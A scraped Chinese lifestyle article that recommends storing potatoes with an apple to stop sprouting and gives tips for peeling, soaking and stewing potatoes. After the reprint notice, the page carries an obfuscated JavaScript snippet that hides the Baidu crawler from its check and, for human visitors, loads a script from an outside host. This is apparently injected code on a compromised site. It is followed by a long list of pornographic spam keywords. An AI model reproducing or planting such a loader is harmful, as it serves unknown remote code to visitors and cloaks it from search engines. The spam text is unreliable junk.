當(dāng)前位置:首頁 > 飲食 > 健康飲食 > 正文

放個蘋果土豆不長芽 烹調(diào)土豆5竅門

2017-04-21 17:05:37  來源:360常識網(wǎng)   熱度:
導(dǎo)語:土豆一發(fā)芽就不能吃了,怎么去防止土豆發(fā)芽呢?一個蘋果就可以了。 土豆是常見食物之一,與綠葉蔬菜相比,它的保存時間更長。但長芽一直是

土豆一發(fā)芽就不能吃了,怎么去防止土豆發(fā)芽呢?一個蘋果就可以了。

土豆是常見食物之一,與綠葉蔬菜相比,它的保存時間更長。但長芽一直是土豆儲存的難題。長芽的土豆含有龍葵堿毒素,能導(dǎo)致人食物中毒。美國“生活百事網(wǎng)”最新載文,刊出防止土豆長芽的一個小妙招:

在土豆中放一個蘋果。

荷蘭埃因霍溫設(shè)計學(xué)院設(shè)計師吉云·力尤表示,與香蕉一樣,蘋果也會釋放乙烯氣體,這種氣體會促進某些水果更快成熟,但卻可以防止土豆發(fā)芽。具體做法,是將土豆放在一個保鮮袋內(nèi),里面再放上一個蘋果。土豆與蘋果的比例一般為10:1即可。

美國電視節(jié)目“美味廚房大考驗”完成的對比實驗也證實,與不放蘋果儲存的土豆相比,

與蘋果一起儲存的土豆保存8周后依然不發(fā)軟、不發(fā)芽。

土豆要怎么弄才好吃?

可不是一味的大火就可以的咯。

在烹飪師眼中,土豆是一種可塑性強的好食材,不僅能用來烹炒煎炸,還可用于燉煮煲湯。

有幾個烹調(diào)土豆的技巧跟大家分享一下。

新土豆燉煮,老土豆烹炒

新鮮土豆

口感細(xì)嫩稠滑,容易做熟。由于其水分多、糖分多、膠黏性較好,在水中仍能保持塊狀,吃起來口感很面,所以適合做湯、燉燒菜等;

而老土豆相比新土豆

,在營養(yǎng)上沒有很大差異,但水分減少,口感爽脆,下鍋后不會發(fā)生新土豆那樣易黏鍋、易糊的現(xiàn)象,適合烹炒。

削皮,只需去掉薄薄一層。

土豆皮下面的汁液中富含多種營養(yǎng)素,所以削皮時只削掉薄薄的一層就可以了。

用鋼絲球輕搓土豆表面,

很輕松就能將外皮去掉薄薄一層,且不會損傷里面的“土豆肉”。

新土豆則可用冷熱水交替去皮,

把土豆放入熱水中浸泡一下,再換到冷水中,這樣也能很容易地去皮。

切完馬上泡在水里。

土豆中含多酚氧化酶,在氧氣的作用下會發(fā)生褐變,從而影響土豆色澤。因此在烹飪過程中,切好的土豆應(yīng)及時放在水里,以防氧化變黑。在浸泡時,可在水中加少許醋,一來可以有效地防止褐變,二來能讓土豆口感脆爽、不黏不糊,三來能減少土豆中維生素和礦物質(zhì)等的流失。需要提醒的是,土豆切完后最好馬上烹調(diào),以防營養(yǎng)素流失到水中。

小火燉容易熟。

土豆用文火燉煮,才能均勻地熟爛,若急火煮燒,會使外層熟爛甚至開裂,里面卻是生的。另外大火燉,湯汁不斷翻滾會使土豆塊外面煮爛,更容易糊鍋。

土豆泥帶皮蒸保存營養(yǎng)。

帶皮蒸的整土豆?fàn)I養(yǎng)損失更少,尤其是維生素C保留得更多,是最營養(yǎng)的吃法。去皮蒸會讓水分更容易進入土豆中,這樣蒸出來的土豆水分太多,口感不好。另外,做土豆泥時也最好帶皮整個蒸熟后,再去皮搗制成泥。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
911精品国产自产在线观看| 久久露脸国产精品| 国产成人亚洲综合无码精品| 国产乱人伦精品一区二区在线观看| 亚洲国产精品无码久久久不卡| 亚洲精品乱码久久久久蜜桃 | 精品人妻无码专区在中文字幕| 成人精品在线视频| 国产精品视频第一页| 亚洲精品无码不卡在线播放HE| 99re6热视频精品免费观看| 国产精品国产三级国产潘金莲| 网友自拍区视频精品| 日韩av无码久久精品免费| 久久91精品综合国产首页| 精品国产免费观看一区| 在线精品视频播放| 久久精品国产一区二区三区肥胖| 亚洲精品乱码久久久久久不卡| 狠狠精品干练久久久无码中文字幕 | 午夜三级国产精品理论三级| 中文精品一区二区三区四区| 精品视频无码一区二区三区| 国产亚洲精品免费视频播放| 高清在线亚洲精品国产二区| 国产精品美女久久久久浪潮AV| 91精品在线国产| 亚洲国产精品久久久久网站 | 精品国产午夜福利在线观看| 尤物国产精品福利三区| 伦精品一区二区三区视频| 7m精品福利视频导航| 久久国内精品自在自线软件| 亚洲精品无码不卡在线播HE| 国产精品自在线拍国产电影| 无码精品前田一区二区| 国产精品蜜臂在线观看| 老司机性色福利精品视频| 亚洲国产精品无码久久久不卡| 中文成人无字幕乱码精品区| 囯产精品久久久久久久久蜜桃|